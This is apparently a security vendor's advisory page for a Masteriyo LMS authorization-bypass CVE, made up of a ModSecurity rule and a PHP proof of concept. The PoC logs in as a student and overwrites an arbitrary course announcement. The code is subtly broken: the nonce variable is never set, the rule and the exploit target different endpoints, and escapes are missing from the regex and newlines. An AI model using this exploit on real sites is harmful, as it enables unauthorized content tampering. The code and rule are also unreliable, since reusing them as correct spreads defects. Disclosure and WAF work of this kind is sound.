SecRule REQUEST_URI "@beginsWith /wp-json/masteriyo/pro/v1/certificate-pdf-email" 
  "id:20261177,phase:2,deny,status:403,chain,msg:'CVE-2026-11773 Masteriyo LMS Authorization Bypass via REST API',severity:'CRITICAL',tag:'CVE-2026-11773'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS:course_id "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11773 - Masteriyo LMS <= 2.2.1 - Missing Authorization to Authenticated (Student+) Arbitrary Course Announcement Modification

define('TARGET_URL', 'https://example.com');
define('USERNAME', 'student_user');
define('PASSWORD', 'student_password');

// Step 1: Authenticate and obtain cookies and nonce
$login_url = TARGET_URL . '/wp-login.php';
$post_data = http_build_query([
    'log' => USERNAME,
    'pwd' => PASSWORD,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract WordPress nonce for REST API (from any accessible page)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, TARGET_URL . '/wp-json/masteriyo/pro/v1/settings/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Craft the REST request to modify an arbitrary course announcement
// The vulnerable endpoint is /wp-json/masteriyo/pro/v1/certificate-pdf-email
// but announcement modification happens through other endpoints with similar auth flaws.
// For demonstration, we target the announcement update endpoint directly.

$target_announcement_id = 123; // Change to target announcement ID
$new_content = 'Announcement modified by unauthorized user!';

$rest_url = TARGET_URL . '/wp-json/masteriyo/v1/courses/announcements/' . $target_announcement_id;
$payload = json_encode([
    'content' => $new_content,
    'title' => 'Hacked Announcement',
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $wp_nonce,
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo 'HTTP Response Code: ' . $http_code . "n";
echo 'Response: ' . $response . "n";

if ($http_code == 200) {
    echo 'Vulnerability confirmed: Announcement modified without proper authorization.' . "n";
} else {
    echo 'Patch may have fixed this. No unauthorized access possible.' . "n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School